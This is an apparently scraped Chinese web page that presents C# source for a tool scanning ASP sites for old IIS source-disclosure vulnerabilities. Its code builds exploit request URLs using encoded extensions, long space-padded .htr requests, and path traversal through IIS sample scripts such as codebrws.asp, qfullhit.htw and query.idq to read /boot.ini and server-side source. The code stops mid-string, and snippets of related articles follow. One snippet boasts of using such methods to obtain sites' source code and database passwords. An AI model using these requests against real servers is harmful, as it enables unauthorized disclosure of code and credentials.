一个用c#写的扫描asp源码漏洞的应用程序

程序

//主要方法
protected void btnGo_Click (object sender, System.EventArgs e)
{

//解析url
string strServer = this.txtServer.Text ;
string strUrl = this.txtFileName.Text ;
char [] point = {'.'} ; //定义分割符为"."
char[] line = {'/'} ; //定义分割符为"."
string [] arrString = strUrl.Split(line) ;

//求asp文件全名
string strFileName = arrString[arrString.Length - 1] ;
//求从根目录下的路径
string strPath = strUrl.Substring( 0 ,
strUrl.Length - strFileName.Length) ;

//解析文件全名
arrString = strFileName.Split(point) ;
//求文件扩展名
string strLast = arrString[arrString.Length - 1] ;
//求文件名
string strFirst = strFileName.Substring( 0 ,
strFileName.Length - strLast.Length - 1) ;

//使按钮、输入框等失效
this.txtServer.ReadOnly = true ;
this.txtFileName.ReadOnly = true ;
this.btnClear.Enabled = false ;
this.btnGo.Enabled = false ;

if (this.txtServer.Text == "http://" || this.txtFileName.Text == ""
|| this.txtServer.Text.Trim()== "" ||
this.txtServer.Text.Substring(0,7) != "http://")
{
MessageBox.Show("请输入正确的主机名和文件名!") ;
this.txtServer.Focus() ;
}
else
{
this.txtResult.Visible = true ;
this.txtResult.ReadOnly = true ;
this.barStatus.Text = "正在连结主机…" ;

string strRequestFile ;

switch (this.cboMethod.SelectedIndex)
{
case 0: //直接读取
strRequestFile = strServer + strUrl ;
break ;
case 5 : //%2e%41sp
strRequestFile = strServer + strPath + strFirst
+ "%2e%41sp" ;
break ;
case 8 : //longhtr
strRequestFile = strServer + strUrl
+ "+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"
+ "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"
+ "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20.htr" ;
break ;

case 10: //codebrws.asp
strRequestFile = strServer + "/iissamples/exair/howitworks/codebrws.asp?source="
+ strUrl ;
break ;

case 11: //showcode.asp
strRequestFile = strServer + "/iissamples/exair/howitworks/codebrws.asp?source="
+ "/msadc/../../../../boot.ini" ;
break;

case 12 : //null.htw
strRequestFile = strServer + "/null.htw?CiWebHitsFile="
+ strUrl + "%20&CiRestriction=none&CiHiliteType=Full" ;
break ;
case 13 : //qfullhit.htw
strRequestFile = strServer + "/iissamples/issamples/oop/qfullhit.htw?"
+ "CiWebHitsFile=/../../boot.ini&CiRestriction=none"
+ "&CiHiliteType=Full";
break ;

case 14 : //qsumrhit.htw
strRequestFile = strServer + "/iissamples/issamples/oop/qsumrhit.htw?"
+ "CiWebHitsFile=/../../boot.ini&CiRestriction=none"
+ "&CiHiliteType=Full";
break ;

case 15 : //query.idq
strRequestFile = strServer + "/query.idq?CiTemplate=/../../boot.ini"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"
+ "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
+ "%20%

时间: 2024-08-27 09:38:49

一个用c#写的扫描asp源码漏洞的应用程序的相关文章

一个用c#写的扫描asp源码漏洞的应用程序(续)

//主要方法        protected void btnGo_Click (object sender, System.EventArgs e)        {             //解析url            string strServer = this.txtServer.Text ;            string strUrl   = this.txtFileName.Text ;            char [] point = {'.'} ;   //

看asp源码的方法及工具20种

众所周知windows平台漏洞百出,补丁一个接一个,但总是补也补不净.我把我所知道的20种看asp源码的方法总结了一下,并且用c#写了个应用程序来扫描这些漏洞,发现虽然大部分的方法已经不起做用,但还是有一些漏网之鱼的:),结果这两天真看到不少站的源代码,包括数据库密码,如果用access的可以把库下载下来,而用sql server的如果不是用udl,dsn等来连接的话,也可以通过tcp/ip网络库连接到数据库,为所欲为呀.先面把这20种方法列在下面: .%81::DATA%2e%2e%41sp+

磁盘ID在ASP源码防拷贝中的应用

自从ASP(Active Server Pages)问世以来,因其可以创建健壮易于维护.与平台无关的应用系统,ASP技术受到了越来越多网络程序员的喜爱,使用ASP从事WEB开发的人也越来越多.但ASP只是一种非编译型的.在服务端运行的脚本语言,采用明文(plain text)方式来编写,即使采用了ASP加密程序对ASP源码进行加密,也不一定能保证发布到运行环境中去的ASP应用程序不被非法拷贝.对于高权限的管理员,可以轻而易举从服务器端拷贝出ASP程序应用到别的非授权网站.这样给ASP应用商业化带

磁盘ID在ASP源码防拷贝中的应用(z)

磁盘ID在ASP源码防拷贝中的应用(孔祥军.苏悦娟 2001年07月26日 17:07) 自从ASP(Active Server Pages)问世以来,因其可以创建健壮易于维护.与平台无关的应用系统,ASP技术受到了越来越多网络程序员的喜爱,使用ASP从事WEB开发的人也越来越多.但ASP只是一种非编译型的.在服务端运行的脚本语言,采用明文(plain text)方式来编写,即使采用了ASP加密程序对ASP源码进行加密,也不一定能保证发布到运行环境中去的ASP应用程序不被非法拷贝.对于高权限的管

Carello Web 使 ASP 源码暴露 (APP,缺陷)

web 涉及程序: Carello Web on NT running IIS 描述: Carello Web 使 ASP 源码暴露 详细: Carello Web 是一个支持网络购物的软件.Carello Web 存在一个安全问题使远程攻击者能在系统上建立一个文件,如果这个文件已经存在就会复制一份,并在文件的扩展名之后有点改动.如:123.asp 会改为 123.asp1 由于扩展名改变,文件会以文本形式被攻击者读取.攻击者能通过 ASP 源程序获得系统密码.用法举例: http://char

spring ongo-SpringMVC 怎么整合MongoDB?配置文件怎么写啊?能给源码吗?

问题描述 SpringMVC 怎么整合MongoDB?配置文件怎么写啊?能给源码吗? 需要具体的数据源配置,各层怎么使用注解!有源码最好!283535252@qq.com

急,求助!我想用c#实现查看一个,net系统里任一文件的源码的功能

问题描述 帮个忙好吗?各位大侠,小弟求助!我想用c#实现查看一个,net系统里任一文件的源码的功能.大概是这样的,当我进入某个页面,在页面的左边有系统文件如aspx后缀的文件的列表,当我点击任一文件名的时候,右边显示这个文件的源码.怎么能实现这样的功能呢.类似与下图: 解决方案 解决方案二:问题最好具体一些!!!

求教这份用java写的仿qq源码如何在eclipse中运行

问题描述 求教这份用java写的仿qq源码如何在eclipse中运行 http://pan.baidu.com/s/1mhcv3LY 这是源码的下载地址 求大神的详细指教....java小白搞这个好烦恼 http://www.hainanhi.com/forum.php?mod=viewthread&tid=12702&page=1&authorid=1 这是代码说明的地址 解决方案 按照提示,先下载mysql的驱动,并且添加到你的jar包目录.安装和配置好mysql,根据你的配置

急!求助!我想用c#实现查看一个,net系统里任一文件的源码的功能。

问题描述 帮个忙好吗?各位大侠,小弟求助!我想用c#实现查看一个,net系统里任一文件的源码的功能.大概是这样的,当我进入某个页面,在页面的左边有系统文件如aspx后缀的文件的列表,当我点击任一文件名的时候,右边显示这个文件的源码.怎么能实现这样的功能呢.类似与下图: 解决方案 解决方案二:晕顶解决方案三:fdf